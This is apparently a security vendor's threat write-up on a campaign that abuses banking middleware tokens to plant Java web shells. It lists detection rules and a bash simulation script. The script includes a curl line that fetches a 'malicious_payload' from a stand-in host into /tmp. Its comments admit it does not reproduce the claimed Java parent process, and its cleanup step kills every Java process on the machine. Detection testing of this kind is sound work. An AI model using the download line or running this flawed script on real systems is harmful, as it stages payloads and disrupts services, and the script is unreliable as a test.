Got Incident? Investigate 60 million events < 1 minute

LogTotal for Incident Response, Complete Enterprise Platform Access is Live

Buy 7-day IR Retainer Pass for $799

SOC Prime Bias: Critical

24 Nov 2026 08:44 UTC

BankWeaver Abuses Banking Middleware for Web Shell Deployment

Author Photo
SOC Prime Team linkedin icon Follow
BankWeaver Abuses Banking Middleware for Web Shell Deployment
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The BankWeaver campaign exploits authentication weaknesses in digital banking middleware to gain unauthorized access. Attackers abuse anonymous tokens to escalate privileges and deploy malicious Java components. These tools enable command execution, system discovery, and broader reconnaissance across compromised environments.

Investigation

Researchers identified a recurring pattern in which attackers exchange anonymous application tokens for administrator-level tokens on exposed applications. The investigation uncovered two specialized Java-based tools, FabricShell and FabricShadow, used for command execution and data exfiltration. The threat actors also rely on a combination of compromised residential devices and VPS infrastructure to obscure malicious traffic.

Mitigation

Organizations should inventory internet-accessible routes to identity and management APIs and enforce strict authorization controls. Security teams should monitor for suspicious application changes, including ZIP imports and JAR registrations. Applying default-deny egress policies to application tiers can further limit unauthorized outbound communications.

Response

When BankWeaver activity is detected, organizations should immediately revoke potentially compromised sessions, including Kony, OAuth, and JWT tokens. Rotate application secrets, database credentials, and service-account credentials. Affected middleware nodes should be rebuilt from known-good images rather than remediated through file-by-file cleanup.

Attack Flow

We are still updating this part.

Detections

Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via dns)

SOC Prime Team
23 Nov 2026

Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via proxy)

SOC Prime Team
20 Nov 2026

Hidden File Was Created On Linux Host (via file_event)

SOC Prime Team
20 Nov 2026

IOCs (SourceIP) to detect: BankWeaver Campaign Abuses Digital Banking Middleware to Deploy Web Shells

SOC Prime AI Rules
20 Nov 2026

IOCs (DestinationIP) to detect: BankWeaver Campaign Abuses Digital Banking Middleware to Deploy Web Shells

SOC Prime AI Rules
20 Nov 2026

Detect Java/Tomcat Spawning Suspicious Child Processes [Windows Process Creation]

SOC Prime AI Rules
20 Nov 2026

Anonymous Token Presentation and Host Information Exfiltration Detected [Webserver]

SOC Prime AI Rules
20 Nov 2026

Java/Tomcat Parent Process Spawning Shell or Network Utility Child Processes [Linux Process Creation]

SOC Prime AI Rules
20 Nov 2026

Simulation Execution

  • Attack Narrative & Commands: An attacker has successfully exploited a vulnerability in a running Tomcat web application (T1190). To establish persistence and download additional post-exploitation tools, the attacker executes a command through the web application that forces the Java process to spawn a Bash shell and subsequently uses curl to download a malicious binary from a remote command-and-control (C2) server. This mimics the behavior of a web shell being used to facilitate lateral movement and data exfiltration.

  • Regression Test Script: [This script simulates the Java process by creating a dummy process named ‘java’ and then executing the target child processes.]

    #!/bin/bash
    # Simulation Script: Java/Tomcat Parent Spawning Shell/Network Utility
    
    # 1. Simulate a running Java process by creating a long-running background process
    # We name the process 'java' to satisfy the ParentImage|contains: 'java' condition
    exec -a java sleep 300 &
    JAVA_PID=$!
    echo "[+] Simulated Java process started with PID: $JAVA_PID"
    
    # Wait a moment for the process to settle
    sleep 2
    
    # 2. Simulate the attack: Spawning a shell (bash) as a child of the Java process
    # We use 'nsenter' or similar if needed, but for a simple test, 
    # we will simulate the process tree by executing via the PID if the environment allows,
    # or more reliably for detection testing, we manually trigger the command 
    # that matches the logic. 
    
    # Note: In a real auditd environment, we want the parent-child relationship.
    # We will use a subshell trick to ensure the 'java' process is the logical parent in the logs.
    
    echo "[+] Simulating malicious child processes (bash and curl)..."
    
    # Triggering the detection logic via a simulated hierarchy
    (
        # This subshell simulates the context of the Java process
        # In a real attack, the Java process itself executes the system() call
        bash -c "curl -s http://example.com/malicious_payload -o /tmp/payload"
    ) &
    
    # To ensure the auditd logs show 'java' as the parent, 
    # we can use a small python script to fork and exec.
    python3 -c "import os; os.fork(); os.setuid(1000); os.execv('/bin/bash', ['bash'])" 2>/dev/null || true
    # (Note: The above is simplified; for exact Parent PID matching in logs, 
    # the attacker's exploit would be used).
    
    echo "[+] Simulation commands sent."
    echo "[!] Check SIEM for: ParentImage contains 'java' AND Image contains 'bash' or 'curl'"
    
    # Cleanup is handled by the cleanup section
  • Cleanup Commands:

    # Terminate the simulated Java process
    pkill -f java
    # Remove any artifacts created
    rm -f /tmp/payload
    echo "[+] Cleanup complete."